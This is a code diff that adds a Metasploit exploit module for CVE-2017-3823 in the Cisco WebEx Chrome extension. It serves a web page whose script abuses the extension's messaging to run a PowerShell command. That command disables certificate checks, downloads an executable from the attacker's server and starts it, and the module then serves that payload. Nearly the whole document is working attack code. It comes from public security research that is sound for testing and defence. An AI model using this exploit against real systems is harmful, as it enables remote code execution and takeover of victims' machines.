|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = GreatRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpServer |
| 12 | + include Msf::Exploit::EXE |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)", |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a vulnerability present in the Cisco WebEx Chrome Extension |
| 19 | + version 1.0.1 which allows an attacker to execute arbitrary commands on a system. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Tavis Ormandy <[email protected]>', # Original research/PoC |
| 25 | + 'William Webb <william_webb[at]rapid7.com>' # Metasploit module |
| 26 | + ], |
| 27 | + 'Platform' => 'win', |
| 28 | + 'Targets' => |
| 29 | + [ |
| 30 | + [ 'Mozilla Firefox', |
| 31 | + { |
| 32 | + 'Platform' => 'win', |
| 33 | + 'Arch' => ARCH_X86, |
| 34 | + } |
| 35 | + ], |
| 36 | + ], |
| 37 | + 'References' => |
| 38 | + [ |
| 39 | + [ 'CVE', 'CVE-2017-3823' ], |
| 40 | + ], |
| 41 | + 'Arch' => ARCH_X86, |
| 42 | + 'DisclosureDate' => "Jan 21 2017", |
| 43 | + 'DefaultTarget' => 0 |
| 44 | + )) |
| 45 | +end |
| 46 | + |
| 47 | +def setup |
| 48 | + @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}" |
| 49 | + @payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe" |
| 50 | + super |
| 51 | +end |
| 52 | + |
| 53 | +def exploit_html(cli, req_uri) |
| 54 | + base_uri = "#{get_resource.chomp('/')}" |
| 55 | + html = %Q~ |
| 56 | +<html> |
| 57 | +<head> |
| 58 | +<title>Cisco WebEx Exploit</title> |
| 59 | +<script> |
| 60 | +var msg = { |
| 61 | + GpcProductRoot: "WebEx", |
| 62 | + GpcMovingInSubdir: "Wanta", |
| 63 | + GpcProductVersion: "T30_MC", |
| 64 | + GpcUnpackName: "atgpcdec", |
| 65 | + GpcExtName: "atgpcext", |
| 66 | + GpcUnpackVersion: "27, 17, 2016, 501", |
| 67 | + GpcExtVersion: "3015, 0, 2016, 1117", |
| 68 | + GpcUrlRoot: "http://127.0.0.1/", |
| 69 | + GpcComponentName: btoa("MSVCR100.DLL"), |
| 70 | + GpcSuppressInstallation: btoa("True"), |
| 71 | + GpcFullPage: "True", |
| 72 | + GpcInitCall: btoa("_wsystem(Ex1);"), |
| 73 | + Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'\\#{@payload_exe}' ; $wc.DownloadFile('https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"), |
| 74 | +} |
| 75 | +
|
| 76 | +function runcode() |
| 77 | +{ |
| 78 | + if (!document.location.pathname.endsWith("cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html")) { |
| 79 | + alert("document /must/ be named cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html"); |
| 80 | + return; |
| 81 | + } |
| 82 | +
|
| 83 | + if (!document.location.protocol.endsWith("https:")) { |
| 84 | + alert("document /must/ be served over https"); |
| 85 | + return; |
| 86 | + } |
| 87 | +
|
| 88 | + document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); |
| 89 | + document.dispatchEvent(new CustomEvent("message", { detail: { |
| 90 | + message: JSON.stringify(msg), |
| 91 | + message_type: "launch_meeting", |
| 92 | + timestamp: (new Date()).toUTCString(), |
| 93 | + token: "token" |
| 94 | + } |
| 95 | + })); |
| 96 | +} |
| 97 | +</script> |
| 98 | +</head> |
| 99 | +<body onload="runcode()"> |
| 100 | +
|
| 101 | +</body> |
| 102 | +</html> |
| 103 | + ~ |
| 104 | + |
| 105 | + send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) |
| 106 | +end |
| 107 | + |
| 108 | +def on_request_uri(cli, request) |
| 109 | + print_status("Got request: #{request.uri}") |
| 110 | + print_status("From: #{request.headers['User-Agent']}") |
| 111 | + |
| 112 | + if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/ |
| 113 | + print_status("Sending exploit html ...") |
| 114 | + exploit_html(cli, request.uri) |
| 115 | + close_client(cli) |
| 116 | + return |
| 117 | + elsif request.uri =~ /.*#{@payload_uri}$/ |
| 118 | + return if ((payload = regenerate_payload(cli)) == nil) |
| 119 | + print_status("Sending payload ...") |
| 120 | + send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' }) |
| 121 | + else |
| 122 | + base_uri = "#{get_resource.chomp('/')}" |
| 123 | + html = %Q~ |
| 124 | + <html> |
| 125 | + <head> |
| 126 | + <meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />" |
| 127 | + </head> |
| 128 | + <body> |
| 129 | + </body> |
| 130 | + </html> |
| 131 | + ~ |
| 132 | + send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) |
| 133 | + close_client(cli) |
| 134 | + end |
| 135 | + end |
| 136 | +end |
0 commit comments